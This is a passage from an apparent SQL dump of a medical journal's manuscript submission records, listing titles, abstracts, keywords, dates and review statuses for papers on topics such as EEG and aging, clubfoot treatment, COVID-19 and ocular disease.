preventative pharmacotherapies before AD/MCI symptoms ensue. The current study aims to examine the subtle changes in electroencephalogram (EEG signals) recorded from a cognitively healthy population (n = 21) of varying ages (aged 20 – 72) to assess the effects of normal, healthy aging on semantic processing of familiar faces. Analysis of the results demonstrated that age had a significant effect on event-related potential (ERP) components such as the latency of P600 at electrode Pz which had a negative correlation withage (𝜌 = - 0.697). Results from scalp current density (SCD) analysis supported these findings indicating that the semantic process of familiar faces was faster among older groups while the overall cortex activation was more prominent among younger groups. The findings from this study highlight potential neural biomarkers that may be used to differentiate healthy elderly populations from those affected by AD and MCI.','Alzheimer’s Disease, Electroencephalogram, Event Related Potential, Mild Cognitive Impairment, & Time-Locked Topography',354,NULL,'2020-07-09',NULL,'Submitted',2,NULL,'2020-11-10',NULL,1,1,'0','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(5131,6310,251,0,NULL,'MEBB Microbiology',NULL,16,0,NULL,'MEBB Microbiology is an extensive and comprehensive compilation of review notes covering the three major branches of Microbiology: Bacteriology, Mycology and Virology. This book has been mainly written and made for the Medical Laboratory Science students of LORMA Colleges but was also rendered for students from other schools who will be taking up the course.\r\n\r\nThe book desires to provide students with the necessary knowledge that is vital for passing. The author also hopes that this compilation will help stimulate the interests and curiosity of the students to learn more and make them feel less intimidated towards the whole program. This also aims to supplement information and build further understanding especially for students who will be taking up the Medical Technology Licensure Examination.\r\n','Microbiology',783,NULL,'2020-07-09',NULL,'Submitted',4,NULL,'2020-07-20',NULL,1,0,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(5137,6317,45,0,'iphsj-20-5137','Cross sectional study of Clinical profile and treatment of clubfoot by Ponseti method among infants at a tertiary care hospital',NULL,14,0,NULL,'Congenital Talipes Equinovarus (clubfoot) is the most common abnormality of foot. Mostly, clubfoot is idiopathic but various environmental and epidemiological factors have influenced the etiology of it. The aim of study was to access clinical profile and efficacy of Ponseti method of treatment in infants.\r\nMethodology: It is a cross-sectional study conducted at orthopedic department, Nishtar medical university and hospital, Multan. Duration of study was 3 years, from 10th January 2016 to 10th January 2019. We included 58 (88 clubfeet) infants with age ranges from 2-12 months. Patients suffering from arthrogryposis multiplex congenital, Meningomylocele, spina bifida and had past surgical manipulation were excluded.\r\nResults: There were 68.9% male and 31% female patients in our study. There were Bilateral 30 (51.7%) children with bilateral TEV while 28 (48.3%) patients with unilateral clubfoot. In our study, 70 percent of the feet were corrected with six serial casting. Achilles tenotomy was needed in 68 (77.2%) feet. We observed pre-treatment Pirani score 5.51±0.62 while post treatment Pirani score was Ë‚ 0.5. Excellent outcome was reported in 80 (91%) while remaining 9% left the treatment and didn’t came for follow up. After evaluating birth history we found that 40 (68%) patients were born through spontaneous vertex delivery, 8 (13.7%) needed Caesarian operation and 10 (17%) needed episiotomy to facilitate their births. In fifty (56.8%) patients the calf muscles were normal and among 38 (43.1%) were thin. There was no major complication noted. \r\nConclusion\r\nClubfoot among male is more common than female. There were equal number of cases with bilateral and unilateral clubfoot. Mode of delivery and positive family history had significant association with clubfoot. Patients with early presentation and low pretreatment Pirani score showed excellent outcome as compare to patient presented with high Pirani scoring. Ponseti technique showed excellent outcome in majority of patients in our study. Effective awareness campaigns and counselling of parents can show good compliance to treatment. Training of primary and secondary healthcare professionals should be done in order facilitate people and share burden of tertiary care hospitals.','Talipes Equinovarus, clubfoot, Pirani scoring, Ponseti treatment. Family history, SVD, Neglected.',388,NULL,'2020-07-10',NULL,'Submitted',2,NULL,'2020-07-24',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(5146,6329,86,0,NULL,'COVID-19 Knowledge, Attitude and Practice Among Medical and Non-medical Students of Karachi, Pakistan ---- A Comparative Cross-sectional Study.”',NULL,14,0,NULL,'OBJECTIVE: To assess and compare knowledge, attitude and practice regarding COVID-19 among medical and non-medical students of Karachi, Pakistan\r\nMETHODS: A cross sectional study was conducted among medical and non-medical students of Karachi, Pakistan from April-May 2020. Male and female students studying in first to fifth year at various medical and non-medical universities of Karachi were inducted through non probability convenience sampling after getting their informed consent.\r\nRESULTS: Out of the total 432 students, 331 (76.1%) were female while 101(23.4%) were male. About 259(60.0%) medical students and 153(35.4%) non-medical students were aware about the detection of COVID-19 in their country (p=0.013). More than half of the medical students, 221 (51.4%) and 113 (26.2%) non-medical students knew the unavailability of vaccine against COVID-19 (p=<0.001). A total of 264(61.1%) medical students and 158(36.6%) non-medical students agreed that handwashing is necessary for the prevention of infection (p=<0.001). Almost half of the medical students, 201(46.5%) were of the opinion that smoking will not prevent infection as compared to 80(18.5) non-medical students (p=<0.001). Similarly, 191(44.2%) medical students felt that antibiotics will not prevent infection as compared to 74(17.1%) non-medical students (p=<0.001). Upon comparison of the students pertaining to practice of COVID-19, 123(28.5%) medical students said that they use alcoholic hand rub as compared to 61(14.1%) non-medical students (p=0.043).\r\nCONCLUSION: In conclusion, this research clearly indicates the difference in knowledge, attitude and practice among medical and non-medical students towards COVID-19. This reflects an urgent need of planning more awareness campaigns and health policies to fight against COVID-19. This data can be used to further asses the satisfaction of students at a larger level.\r\n\r\n\r\n\r\n','knowledge, attitude, practice, covid-19, medical students',3386,NULL,'2020-07-10',NULL,'Submitted',4,NULL,'2020-07-22',NULL,1,0,'0',NULL,0,'','',2,0,0,0,NULL,0),(5156,6339,91,0,'ijddr-20-5156','Design and development of Nifedipine extended release tablet double rotary bi layered compression machine',NULL,14,0,NULL,'The aim of the present work was to Design and development of Nifedipine extended release tablet 90 mg by double rotary bi layered compression machine that can provide continuous drug release for period of 24 hours.  The granules prepared using polymers such as polyethylene glycol 4000, HPMC and cellulose acetate etc. the osmotic pump mechanism was used, after that mechanical drilling machine was used for drilling with respect in size. For prior to compression, the prepared granules were evaluated for flow and compression characteristics. The principle shows  two compartments was present such as the drug layer and push layer, after some time push layer goes contact with aqueous  medium then swelling of push layer and suspend drug particle and flow through the delivery orifice. Prepared Nifedipine extended release tablet was evaluated for in vitro drug release study. The prepared Nifedipine extended release tablet 90 mg showed good mechanical properties (hardness and friability) as well as good in vitro dissolution profile showing the release of constant drug for 24 hours. The increase in binder has retarding effect leading to the decrease in the dissolution. The Change in granulation time with respect to increase in parameters.\r\n\r\n','Nifedine, Extended release tablet, Double rotory bi layer Compression machine, Push pull layer.',1325,NULL,'2020-07-11',NULL,'Submitted',2,NULL,'2020-10-13',NULL,1,1,'0',' ',0,'','',NULL,0,0,0,NULL,0),(5169,5777,45,0,'iphsj-20-5169','VISION-RELATED ACTIVITIES AMONG GLAUCOMA PATIENTS IN ONITSHA NIGERIA',NULL,14,0,NULL,'Objective: To evaluate performances of different task by Primary open angle glaucoma (POAG) patients at Guinness Eye Centre Onitsha Nigeria.\r\nMaterials and Methods: POAG patients underwent a modified culturally relevant five items of the Activities of Disability Related to Vision (ADREV) tasks. These tasks were recognizing facial expression, detecting motion, locating objects, placing pegs into different sized holes and matching socks. The score ranged from 0 to 7(0=inability to carry out any task, 7 = task carried out effortlessly with grades in between scores based on ease of carrying out task). Glaucoma severity was also assessed.\r\nResults: Two hundred and four patients with mean age of 61.0 years; 46.1%males and 53.9% females participated in this study. The total mean score of the 5 tasks carried out was 26.6±9.9SD; range of 0 – 35. The ratings for the individual tasks were: motion detection 6.21±1.8; placing pegs 5.77±2.1; object location 5.39±2.2; facial expression 4.73±2.1 and matching socks 4.49±2.5. Patients aged ≥60 years had more advanced glaucomatous damage and greater difficulty performing the task (p=0.01) \r\nConclusion: Older age and more glaucomatous damages were associated with poor ADREV performance. Matching of socks and identification of facial expressions were the most tasks. Older glaucoma patients and those with advanced disease require support for vision-related activities of daily living.','Vision, Activity, Glaucoma, ADREV tasks',388,NULL,'2020-07-13',NULL,'Submitted',2,NULL,'2020-07-24',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(5170,6355,45,0,'iphsj-20-5170','Unilateral Eales disease with presumed tubercular etiology, three case reports',NULL,2,0,NULL,'Purpose: To report three cases of unilateral Eales disease with presumed tubercular etiology and management, including a combination of oral steroids plus antituberculosis (anti-TB) therapy.\r\nMethods: The clinical, serological, tuberculin skin test, and angiographic evaluations for each patient were carried out.\r\n\r\nResult: The first case received only oral steroids for the first four months, but the disease progressed, therefore, shifted to the full anti-TB combined with oral steroids. The latter two cases received the same combination with no progression. The third case had stopped oral steroids abruptly caused reactivation of the disease.\r\n\r\nConclusion: The diagnosis of Eales disease is an exclusion diagnosis. The natural course, clinical picture, and the FFA findings of the illness make the diagnosis possible. Patients at risk to predispose to tuberculosis needs particular concern when presented with vitreous hemorrhage. Steroid monotherapy causes progression of the disease, and sudden steroid withdrawal results in reactivation. \r\n','Unilateral Eales, Case report Eales, Steroids, Jarisch–Herxheimer reaction, Anti-Tuberculous drug in Eales disease, Combined Steroids and anti-Tuberculous in Eales, Steroid monotherapy in Eales, Anti-Tuberculous monotherapy in Eales, Eales disease with presumed tubercular etiology.',3764,NULL,'2020-07-13',NULL,'Submitted',2,NULL,'2020-07-24',NULL,1,1,'0','Accepted',0,'','',NULL,0,0,0,NULL,0),(5171,6356,45,0,'iphsj-20-5171','Presumed Central Serous Chorioretinopathy in 9 years old boy',NULL,2,0,NULL,'A 9-year-old male attended our clinic with the blurred vision in his right eye, for one day duration. No past history of systemic or ocular illnesses except for recurrent tonsillitis. On ocular examination; his left eye (OS) visual acuity (VA) was 6/6, and the right eye (OD) VA was 6/9.5 which corrected to 6/9 with +0.75 diopter sphere. Fundus examination revealed normal optic nerve and a serous detachment in the posterior pole, nearly about the disc size. The optical coherence tomography angiography (OCTA) showed neurosensory retinal detachment with subretinal fluid. The family was not able to perform the fundus fluorescein angiography (FFA) due to the financial crisis in the region. Given this background, the diagnosis of idiopathic central chorioretinopathy had given. The clinical course was monitored without any treatments and spontaneous remission achieved within six months, Figure 1,2 and 3.','Central serous chorioretinopathy, children, spontaneous remission of Central serous chorioretinopathy, Presumed Central Serous Chorioretinopathy in children.',3765,NULL,'2020-07-13',NULL,'Submitted',2,NULL,'2020-07-24',NULL,1,1,'1','Accepted',0,'','',NULL,0,0,0,NULL,0),(5173,6358,45,0,'iphsj-20-5173','Bilateral Wyburn–Mason syndrome presenting with macular edema',NULL,2,0,NULL,'The Wyburn-Mason or Bonnet-Dechaume-Blanc syndrome is a sporadic illness which is a type of phakomatosis, usually present as unilateral arteriovenous malformations(AVM), for the first defined by Magnus in 1874 as retinal AVM later in 1932 another description gave by Yates and Payne; as an AVMs of the retina and cerebral vasculature, while in  1937 Bonnet, Dechaume and Blanc defined as AVM involving facial, retinal and brain blood vessels, then in 1943 all literature revised by Wyburn-Mason to put together to his case reports, therefore, the name of Bonnet-Dechaume-Blanc syndrome given in France, but in English articles entitled as Wyburn-Mason syndrome (1). At that time, due to a deficiency in diagnostic imaging techniques, all the diagnosis were performed by clinical findings, operation, or autopsy (2).\\r\\nUsually, it is a unilateral disorder comprising of three distinct components: orbit, brain (ipsilateral to the retina) and face, in the face; the sensory region of the trigeminal nerve distribution involved, that takes the shape of naevi which might be wholly formed and illness, is complete, or the naevi might be faint or absent, the latter regarded as an incomplete disease (1, 3) but rarely a bilateral involvement encountered with an asymmetrical grade of malformation (4). The pathology starts in the early embryonic period, and if vascular dysgenesis encountered can lead to a wide range of neurocutaneous vascular defects in the cerebrum or ocular or both(2).  When the disorder reaches the last stage, the AVM can compress the optic nerve causing impaired perfusion, ischemia eventually optic atrophy (2). Another explanation for visual loss is glaucoma as a result of elevated vascular pressure, neovascularization resulting from ischemia, which might lead to vitreous hemorrhage(5). Archer et al. staged the disease into three groups (6-8):\\r\\n','Wyburn-Mason syndrome, arteriovenous malformation, macular edema, bilateral Wyburn-Mason syndrome, case report on Wyburn-Mason syndrome, Wyburn-Mason syndrome with macular edema, Bilateral Wyburn-Mason syndrome with macular edema.',3765,NULL,'2020-07-13',NULL,'Submitted',2,NULL,'2020-07-24',NULL,1,1,'0','Accepted',0,'','',NULL,0,0,0,NULL,0),(5174,6359,251,0,'ipacm-20-5174','Evaluation of dexamethasone and remdesivir as potential anti-viral drugs over others for the treatment of the COVID-19 patients',NULL,15,0,NULL,'Lots of research based on drug designing as well as in silico study, cell culture/ animal model study, and the clinical trials are being conducted perceive the suitable therapeutic drugs and to develop vaccines in order to alleviate the ongoing COVID-19 pandemic caused by the severe acute respiratory syndrome coronavirus 2 (SARS-CoV-2). Although there are still no vaccines, some potential anti-viral drugs have been discovered of which remdesivir has been so far mostly accepted for the treatment purpose because of its multi-target actions. In addition to remdesivir, dexamethasone has been noticed with the capacity to protect the severely affected COVID-19 patients from death to some extent. Current review thus emphasized on both remdesivir and dexamethasone as the successful remedies for the ongoing pandemic; and projected on the possible mode of action of dexamethasone. ','Severe Acute Respiratory Syndrome Coronavirus 2 (SARS-Cov-2), Drugs, Treatment, Remdesivir, Dexamethasone',781,NULL,'2020-07-13',NULL,'Submitted',2,NULL,'2020-09-14',NULL,1,1,'0','Evaluation on the drugs dexamethasone and remdesivir as potential drugs compared to the others is the concept of this manuscript. the review article was well written and explained clearly the results that you have gotten. In fact, tese anti-viral drugs are using for treatment of current pandemic COVID-19. This is very important in the right situation to get better medicine to treat the same. We can publish this article.',0,'1503','spandana_b@omicsgroup.co.in',NULL,0,0,0,NULL,0),(5176,6362,959,0,'ipacr-20-5176','Perioperative Concerns in Breast cancer surgery during COVID-19 pandemic',NULL,14,0,NULL,'Title: Perioperative Concerns in Breast cancer surgery during COVID-19 pandemic\r\n\r\nDr Uma Hariharan, Associate Professor, Dr Ram Manohar Lohia Hospital & ABVIMS-PGIMER, GGSIP University, New Delhi, India\r\n\r\n\r\n \r\nManuscript/ Abstract (1000-1200 words)\r\nStatement of the Problem: Breast cancer is one of the most common cancers in women all over the world, with increasing incidences due to various reasons. These include greater awareness about the occurrence of breast cancer, early detection, increase in life-style and stress-related diseases, hormonal imbalances and diet. Operative treatment forms the mainstay of management along with chemotherapy and radiotherapy. The current COVID-19 pandemic is an eye opener for all the stake-holders in health-care sector. The inadequate health systems are currently overwhelmed by COVID-19, that other diseases like cancer have taken a back seat in most institutions. Breast cancer can spread further if surgical treatment is delayed in resectable tumors, resulting in increased morbidity and mortality. COVID testing must be done for patients posted for these surgeries. Complete asepsis must be maintained during patient handling and all procedures. In addition, regional anesthetic techniques must be utilized in all patients to reduce the stress response and anesthetic requirements.\r\nConclusion & Significance: Breast cancer detection and management should not be delayed due to crisis due to COVID-19 pandemic. Such onco-surgeries must be done in dedicated non-COVID centers after requisite testing and taking adequate barrier precautions and asepsis.\r\nDr Uma Hariharan is a medical graduate (MBBS) from the Armed Forces Medical College, Pune, India (2000). She completed her three-years post-graduation in Anaesthesiology [Diplomate of National Board of Examinations (DNB)] from Sir Ganga Ram Hospital & GRIPMER (Ganga Ram Institute of Post-graduate Medical Education & Research), New Delhi in 2007. She was felicitated with the “Best DNB Student Award” for overall excellence during her anaesthesia training. She was conferred with the “Best Debater Award” for her talk on medical education on the “World Anaesthesia Day” celebrations in Delhi, 2005. She won the “Best Paper Presentation Award” in the National Pain Conference held in Delhi, 2006. She also won the “Best Poster Presentation Award” at National ISA (Indian Society of Anaesthesiologists) Delhi Conference in 2011. Dr Uma Hariharan is also a certified, ATLS faculty (Advanced Trauma Life Support, under the aegis of American College of Surgeons, USA) since 2011 and a NELS (National Emergency Life Support, conducted by the Ministry of Health and Family Welfare, Government of India) Instructor. She regularly teaches at the ATLS and NELS Provider courses, held all over India. She has been working as an independent consultant since 2011. Dr Uma Hariharan has also done “Post-Graduate Diploma in Hospital Management” (PGDHM) from the “National Institute of Health & Family Welfare” (NIHFW, Munirka), New Delhi, India, in 2012. She completed “Fellowship in Onco-anaesthesia” from the largest tertiary care and teaching, cancer hospital of North-India, Rajiv Gandhi Cancer Institute and Research Centre, New Delhi, 2014. She obtained proficiency in all aspects of anaesthesia for different oncological operations, with special thrust, on Robotic surgeries. She topped the medical teachers’ selection list for Anaesthesiology conducted by the national government body, UPSC (Union Public Service Commission) in 2015, currently working as Associate Professor in Dr RML Hospital & PGIMER, New Delhi, India. She also undertook the “Aesculap Academy Fellowship in Advanced, Ultrasound-Guided Regional Anaesthesia” from Ganga Hospital and Research Centre, Coimbatore, India (2017). Dr Uma Hariharan successfully completed her training in Palliative Medicine and Cancer Pain Management (Certificate Course in Essentials of Palliative Care - CCEPC), from All India Institute of Medical Sciences (AIIMS), New Delhi, under the aegis of Indian Academy of Palliative Care (IAPC) in 2018. She was honoured with the coveted “Hall of Fame Award” for all-round achievements at the Ganga Anaesthesia Refresher Course of 2018 (GARC, Coimbatore, Tamilnadu, India). Dr Uma Hariharan has written and published nearly 100 journal articles (original research, review articles, case reports) and book chapters. In recognition of her achievements in the field of anaesthesiology, she has been conferred with the prestigious award of “FELLOW OF INDIAN COLLEGE OF ANAESTHESIOLOGISTS” (FICA) in the annual conference of the ‘Indian College of Anaesthesiologists’ in 2018. She successfully cleared the European Diploma in Anaesthesiology & Intensive Care (EDAIC) Part 1 in 2017 and Part 2 in 2018 (both in First Attempt). Her special areas of interests include pain management, transplant anaesthesia and critical care.','',3142,NULL,'2020-07-13',NULL,'Submitted',4,NULL,'2020-07-29',NULL,1,1,'0','accept',0,'909','pravalika_b@omicsgroup.co.in',2,0,0,0,NULL,0),(5187,6374,73,0,'ipjnn-20-5187','Pilot study to determine the extent of chemotherapy-induced polyneuropathy (CIPNP) in breast cancer patients ',NULL,14,0,NULL,'Abstract: \r\n\r\nBackground:\r\nChemotherapy induced polyneuropathie (CIPNP)  is senn in up to 70% of all breast cancer patients (BC). Due to the high number of long-term surviving patients, side effects are becoming increasingly important, especially when they permanently affect quality of life, such as CIPNP. A reduced ability to stand and the associated tendency to fall due to CIPNP is of great importance for patients\r\nFirst goal of this study was to identify differences in the equilibrium behavior of BC with CIPNP compared to BC patients without CIPN by means of posturographic measurements. Second goal was to detect a means for the diagnosis of equilibrium disorders to meet the requirements of everyday life.\r\nMethod:\r\n83 patients (pts) participated in the study. 20 of these had developed a CIPNP while, 32 did not (NCIPNP). 31 pts had not received chemotherapy and therefore did not have PNP (NPNP). A clinical examination, focusing on CIPNP,  was done. In addition BC  had to carry out seven different stand conditions on a AMTI Netforce, which is a force measuring plate. During the test, the parameters centre of pressure (CoP) X Average, centre of pressure (CoP) Y Average, Area and Average Velocity were determined.\r\nResults:\r\nRegarding tandem stand with closed eyes, the group with CIPNP had a 17.85 cm² larger fluctuation in the mean value difference of the area (fluctuation area) compared to NCIPNP or NPNP (p = 0.04). \r\nViewing the terminations in the tandem stand with closed eyes, the termination rate in the group with CIPNP was 80%, in NCIPNP 38% and in the NPNP group 61%.  (p <0.001) \r\nConclusion\r\nThe present study showed that CIPNP in breast cancer pts is underestimated by using simple bipedal or the monopedic standimg to assess the equilibrium of pts. The real impairment of the patients\' system of equilibrium with CIPN was evident both in the area of fluctuation (Area) and in the high termination rates, which is important to know regarding everyday life questions like risk of falling or injury.\r\n','Polyneuropathy, breast cancer, posturographic measurements',3108,NULL,'2020-07-14',NULL,'Submitted',2,NULL,'2020-11-10',NULL,1,1,'0','Accept',0,'','',NULL,0,0,0,NULL,0),(5197,6385,73,0,'ipjnn-20-5197','CALCIFIED CHRONIC SUBDURAL HEMATOMA',NULL,16,0,NULL,'Chronic Subdural Hematoma is a rare disease with an insidious onset, the management is predominantly surgical. A clinical image of a 68-year-old male patient with a chronic calcified subdural hematoma is described.\r\n','Chronic, Subdural, Hematoma, Craniotomy.',351,NULL,'2020-07-14',NULL,'Submitted',2,NULL,'2021-01-18',NULL,1,1,'1','Accept',0,'','',NULL,0,0,0,NULL,0),(5199,496,45,0,'iphsj-20-5199','Just a Flesh Wound? A Detailed Review of Modern Dressings',NULL,15,0,NULL,'Dressings are employed across the world as a ubiquitous form of wound treatment in the 21st century. However, the differences between the thousands of wound dressing products currently available on the market can be difficult for clinicians to understand. Common categories of dressings include bioactive, hydrocolloids, hydrogels, alginate-based gels and semi-permeable films among others. However, understanding each dressing’s characteristics is crucial for clinicians to providing the highest standard of care to their patients. This review will highlight the important compositional differences among the most common variants of modern wound dressings and discuss the implications on their clinical applications and antimicrobial properties. As new material is introduced and new concepts in microbiology are illuminated, more researchers will seek to apply their knowledge to the research and development of modern wound dressings. This review hopes to inspire and guide future studies of wound dressings in an interesting and meaningful direction.','Dressings, Wound, modern wound dressings',388,NULL,'2020-07-15',NULL,'Submitted',2,NULL,'2020-07-24',NULL,1,1,'0','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(5202,6389,45,0,'iphsj-20-5202','Evaluation of the antibacterial activity of ananas comosus (pineapple) extract against selected gram negative bacteria',NULL,14,0,NULL,'Pineapples are a tropical fruit that present with a wide array of health and beauty benefits. They are not only valued for their sweet taste, but have been used for centuries to treat digestion problems and inflammation. Studies have shown that bromelain, the enzyme found in pineapples, can reduce swellings, bruising, healing time, and pain associated with injury and surgical intervention. Bromelain is currently being used to treat and reduce inflammation from tendinitis, sprains, strains, and other minor muscle injuries as well as swelling related to ear, nose and throat surgeries or trauma. The present study was aimed at determining the antimicrobial activity of pineapple extract against selected gram-negative bacteria. The aim of the study was to evaluate the antibacterial activity of both stem and fruit pineapple crude extract against selected gram-negative bacterial pathogens notably Pseudomonas aeruginosa, Escherichia coli and Salmonella typhi.The antibacterial activity was carried out by agar well diffusion technique against the bacterial pathogens and the zone of inhibition were measured in mm diameter and the minimum inhibition concentration was calculated on every organism. In the study, pine apple extract was found to be effective against the all organisms tested when compared to control ( ciprofloxacin), the  stem extract showed  highest zone of inhibition in P. aeruginosa 22mm, S. typhi 17mm and E .coli 20mm and highest minimum inhibition concentration was 0.125g/ml, 0.25g/ml and 0.125g/ml for P. aeruginosa, S. typhi and E .coli respectively. For fruit crude extract, highest zone of inhibition in P. aeruginosa was 13mm, S. typhi 7mm and E. coli 12mm and highest minimum inhibition concentration was 0.25g/ml, 0.25g/ml and 0.125g/ml for P. aeruginosa, S. typhi and E. coli respectively. Generally, the stem crude extract has a high antimicrobial effect than the fruit crude extract on the organisms tested and it was found that E. coli and P. aeruginosa trended to be more susceptible than S. typhi. The finding that pineapple juice has antibacterial effect serves to suggest that there is a potential in discovering novel antimicrobial agents from the pineapple plant. This however needs further investigation.','antibacterial activity; ananas comosus; pineapple; bacteria',388,NULL,'2020-07-15',NULL,'Submitted',16,NULL,'2020-08-03',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(5215,6401,45,0,'iphsj-20-5215','Treatment of HCV genotype-1a infection in a child suffering with Thalassemia-major by Sofosbuvir/ Daclatasvir',NULL,2,0,NULL,'Beta thalassemia is the most common genetically transmitted disorder throughout the world. Approximately 5-7% children are suffering from thalassemia major in Pakistan. The thalassemia patient’s life depends on continuous blood transfusions, which lead to several blood born infections like human immunodeficiency virus (HIV) infection, hepatitis B (HBV) and hepatitis C (HCV) virus infections; nevertheless, the HCV infection is the most prevalent among blood transfusion related blood-born infections. Co-occurrence of thalassemia major with hepatic fibrosis, severe anemia and iron over-load complicate the treatment of HCV. Additionally, treatment of HCV infections, generally results in the manifestation of several drug-associated side effects and the burden of continuous blood transfusions makes the condition worse. Therefore, multiple antiviral therapies are recommended for the treatment of such patients. However, the newly developed direct acting antiviral agents like Sofosbuvir and Daclatasvir gained importance due to high efficacy and less side effects. Here, we are reporting a successfully treated HCV-infection in β-thalassemia major patient with a combination therapy of Daclatasvir/Sofosbuvir.','Hepatitis C virus infection, β-thalassemia, HCV genotype-1a, Daclatasvir/Sofosbuvir.',3691,NULL,'2020-07-16',NULL,'Submitted',16,NULL,'2020-08-03',NULL,1,1,'0','Accepted',0,'','',NULL,0,0,0,NULL,0),(5217,6403,959,0,NULL,'Phlegmasia cerulea dolens after ovarian cancer treatment with bevacizumab: A case report',NULL,2,0,NULL,'Bevacizumab has been shown to improve progression-free survival in women with ovarian cancer in multiple clinical trials. However, serious adverse effects, such deep vein thromobosis, can occur [1].\r\nPhlegmasia cerulea dolens is a rare entity secondary to grave Deep Vein Thrombosis (DVT), in the lower extremities, and associated with rapidly progressive pain and marked swelling that may compromise the perfusion of the limb. This situation may lead to venous gangrene and the limb’s amputation secondary to a compartment syndrome[2].\r\nWe present the case of a 45-year-old female who presented eight days after the fourth  administration of bevacizumab for ovarian cancer treatment, a bilateral leg pain with progressive edema which also began to exhibitwith a black discoloration. Venous dopplers showed bilateral occlusions of the common femoral, saphenofemoral, superficial femoral , popliteal, posterior tibial and peroneal veins.\r\nTo our knowledge, this is the first case with bevacizumab associated Phlegmasia cerulea dolens .\r\n','Bevacizumab ,Phlegmasia cerulea dolens (PCD), deep Thrombosis , ovarian cancer.',2795,NULL,'2020-07-16',NULL,'Submitted',4,NULL,'2020-07-17',NULL,1,0,'1',NULL,0,'','',2,0,0,0,NULL,0),(5222,6409,91,0,'ijddr-20-5222','Adeno-associated virus and CRISPR-Cas13 based system to target SARS-CoV-2 for dual therapeutic intervention',NULL,17,0,NULL,'No abstract','COVID-19; SARS-CoV-2; AAV; CRSIPR-Cas13; Spike protein',3391,NULL,'2020-07-16',NULL,'Submitted',2,NULL,'2021-04-30',NULL,1,1,'0','accept',0,'','',NULL,0,0,0,NULL,0),(5232,6418,73,0,'ipjnn-20-5232','Neurological Manifestations of SARS-CoV-2: Proposed  Pathogenesis',NULL,15,0,NULL,'Abstract\r\nBackground Severe acute respiratory syndrome (SARS-CoV-2) is a worldwide\r\npandemic, was first reported in Wuhan, China. SARS-CoV-2 mainly affects the\r\nrespiratory tract, but the nervous system is not immune to the effects of the virus. \r\nObjective: To consolidate the knowledge of the effects of SARS-CoV-2 on the nervous\r\nsystem, subcategorized the manifestations were established as a central and peripheral\r\npossible pathogenic pathway of the virus on the nervous system. \r\nMethods: A search strategy was made using PubMed, Google Scholar, and Medline\r\nusing a combination of search terms: Coronavirus, Encephalitis, SARS-CoV-2,\r\nDelirium, and Gilliam Barre, Anosmia, Stroke, Miller Fisher. We reviewed only studies\r\npublished in English between 2019 and 2020. Central nervous manifestations were\r\nsubcategorized in central nervous system manifestations (CNM) and peripheral nervous\r\nsystem manifestations (PNM). The topics studied in each section were: delirium,\r\nheadaches, encephalitis, acute necrotizing encephalitis, stroke for (CNM) and anosmia,\r\ndysgeusia, Guillain Barré, and Miller Fisher Syndrome for (PNM). A proposed\r\npathogenic mechanism and the main clinical features in each section were described.  \r\nDiscussion: Central Nervous manifestations are due to 3 mechanisms: invasion of the\r\nvirus through ACE receptor, cytokine storm, and immune dysregulations while\r\nperipheral Nervous System manifestations are due to virus invasion in the epithelium\r\nmucosa and olfactory bulb, but also a central component could play a role. Additionally,\r\nmolecular mimicry plays an essential role in the development of Guillain Barré and\r\nMiller Fisher. \r\nConclusion: More research needs to be done regarding the pathogenesis of neurological\r\ncomponents of SARS-Co-2. Overall, there is no common pathway for the pathogenesis\r\nfor all the components of the neurological manifestations of SARS-CoV-2. Each\r\ncomponent has its own pathogenesis, but some neurological manifestations share\r\ncommon features. \r\n','Coronavirus, Encephalitis, SARS-CoV-2, Delirium, Gilliam Barre,\r\nAnosmia, Stroke, and Neurological Manifestations.',334,NULL,'2020-07-17',NULL,'Submitted',2,NULL,'2020-11-10',NULL,1,1,'0','Accept',0,'','',NULL,0,0,0,NULL,0),(5233,4635,277,0,'ipadm-20-5233','TUMOR PHYLLODES MALIGNO DE MAMA: REPORTE DE CASO EN PEDIATRÍA Y REVISIÓN DE LITERATURA.',NULL,2,0,NULL,'El Tumor Phyllodes Maligno de Mama (TPMM) es un tumor fibroepitelial raro y con un amplio espectro de características clínicas. Se clasifican en benignos, limítrofes o borderline y malignos en base a sus hallazgos histopatológicos. Pueden presentar un comportamiento similar al de los fibroadenomas pero las formas malignas tienen un comportamiento más agresivo. Frecuentemente son diagnosticados en mujeres de 35-55 años, siendo extremadamente rara su presentación en la edad pediátrica por lo que describimos el caso de paciente femenina de 13 años en México que presenta lesión nodular en cuadrante superior externo de mama izquierda de 3 meses de evolución. Biopsia reporta de Tumor Phyllodes Borderline por lo que se realiza mastectomía radical izquierda.','Tumor Phyllodes, Mama, Tumor Phyllodes Maligno, Pediatría',2805,NULL,'2020-07-17',NULL,'Submitted',2,NULL,'2020-08-29',NULL,1,1,'0','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(5240,6430,73,0,'ipjnn-20-5240','AN ANALYSIS OF VESTIBULAR EVOKED MYOGENIC POTENTIAL IN PATIENTS WITH BENIGN PAROXYSMAL POSITIONAL VERTIGO',NULL,14,0,NULL,'AIM:\r\nAim is to analyse possible alterations of Vestibular Evoked Myogenic Potentials in patients\r\nwith Benign Paroxysmal Positional Vertigo.\r\nBACKGROUND:\r\nBenign Paroxysmal Positional Vertigo(BPPV) is the most common disorder of peripheral\r\nvestibular system characterized by episodes of vertigo. Vestibular Evoked Myogenic\r\nPotential(VEMP) is one of the objective tests that able to evaluate function on certain parts of\r\nvestibular organ. Cervical VEMP is a electromyographic response to loud auditory stimuli\r\nthat can be recorded in the sternocleidomastoid muscle during clonic contraction. VEMP\r\nlatencies are increased in BPPV patients. Abnormal VEMP results may signify neuronal\r\ndegenerative changes of various insults in the macula of the saccule10\r\n.METHODS:\r\n  Patients diagnosed as Benign Paroxysmal Positional Vertigo who come to a tertiary care Institute will\r\n undergo VEMP procedure and neurological examination. An electro-physiological measurements of\r\n VEMP will be interpreted by the senior faculties of Neurology department of our Institute during study period.\r\nRESULTS:\r\nOne hundred patients with Benign paroxysmal positional vertigo were s,during the period of December\r\n 2017 to April 2018. From the total subjects, 45patients were normal and 55 patients were abnormal. In\r\n this study, we analyzed thesignificance of doing VEMP test in patients with BPPV based on statistical\r\n analysis.\r\nCONCLUSIONS:\r\nIn our study association between abnormal VEMP findings (prolonged P13 latency) in BPPV\r\npatients had high statistical significance .We conclude that VEMP plays a 